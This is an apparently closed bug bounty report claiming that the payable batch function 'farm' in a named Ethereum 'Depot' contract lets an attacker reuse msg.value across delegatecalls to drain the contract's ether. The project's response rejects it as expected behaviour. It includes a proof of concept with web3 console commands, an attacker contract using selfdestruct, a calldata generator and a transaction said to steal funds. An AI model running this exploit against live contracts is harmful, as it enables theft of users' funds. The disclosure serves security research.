📄

Report #14048

Report Date
December 1, 2022
Status
Closed
Payout

The depot contract ethers can be taken over

‣
Report Info

Report ID

#14048

Target

Report type

Smart Contract

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Has PoC?

Yes

Description

Hello team,

The depot contract have many payable functions which can help users to use these functions to transfer tokens such as function transferToken, when users calls it they can send ethers within the transaction to execute the calls to external contracts properly, as well as other functions

The contract itself has the batch execution function, in that contract it's named as farm,

 function farm(bytes[] calldata data)
        external
        payable
        returns (bytes[] memory results)
    {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            (bool success, bytes memory result) = address(this).delegatecall(data[i]);
            LibFunction.checkReturn(success, result);
            results[i] = result;
        }
    }

it executes many function within the contract in one transaction, it's payable as well, Combining the two logics previously, now imagine a user calls the farm function with 0.1 ether, with 3 calls pointed to the 'transferERC721' function, the farm function will send the msg.value to the transferERC721 function and msg.value is 0.1 , in that case call will be 0.1 ether for each deploy call, but the farm function only gets 0.1 ether ! in this case the remaining 0.1*2 ether that will be sent to within the the transferERC721 function will be from the main contract (0xDEb0f000082fD56C10f449d4f8497682494da84D), which in that case the attacker will make the following scenario :

  • Depot contract have 3 ethers (users made payable transactions and that's how it got)
  • attacker calls the farm with 1 ether as payable to execute the pipe function 4 times
  • this function will send the value to the pipeline contract (0xb1bE0000bFdcDDc92A8290202830C4Ef689dCeaa) which is 1 ether * 4
  • the pipeline contract will sends the transaction all the way to the attacker controlled token with the msg.value
  • the farm will execute the first call and the msg.value is 1 ether (this ether will be from msg.sender),
  • the second call as well, but since the msg.value is 1 and the msg.sender sent only one ether, the second ether will be from that contract (depot) ...etc
  • until the contract is drained

Impact :

Attacker can drain the ethers of the depot contract

Proof of concept

Used truffle and ganache :

  • Save the depot contract's abi at test/abi.json
  • Use truffle with Ganache forked to the ethereum mainnet chain
  • truffle console --networkId 5777
const Web3 = require('web3');
const abi = require('./test/abi.json');
const v_contract = "0xDEb0f000082fD56C10f449d4f8497682494da84D";
const user = "select from ganache";
const vc = new web3.eth.Contract(abi,v_contract);
  • Deploy this contract with truffle
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract tt {
   fallback() external payable {}
   function des() external payable {
    selfdestruct(payable(msg.sender));
   }
}
  • Make some actions on this contract payable function so this contract will have some ethers
  • Generate the bytes with this contract (Used remix) :
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract xx {
struct PipeCall {
    address target;
    bytes data;
}
 function generate(PipeCall calldata data) external returns(bytes memory) {
      return abi.encodeWithSignature("pipe(bytes)",data);
  }
}
  • The bytes use them as this tuple [malicious_contract,0x00]
  • Use the following code
web3.eth.getBalance(v_contract);
// will returns '250'

const bytess = __generated_bytes_previously__;
await vc.methods.farm([bytess,bytess,bytess]).send({from: user, gas: 6721975, gasPrice: '30000000',value: 100});
web3.eth.getBalance(v_contract);
// will returns 50, we stole 200 successfully

BIC Response

This is not a security bug report because the report outlines expected functionality. As outlined in the Pipeline Whitepaper:

"Failure to unload assets from Pipeline in the same transaction that loads it will highly likely result in a loss of those assets."

Due to these reasons, we are closing the submission and no reward will be issued.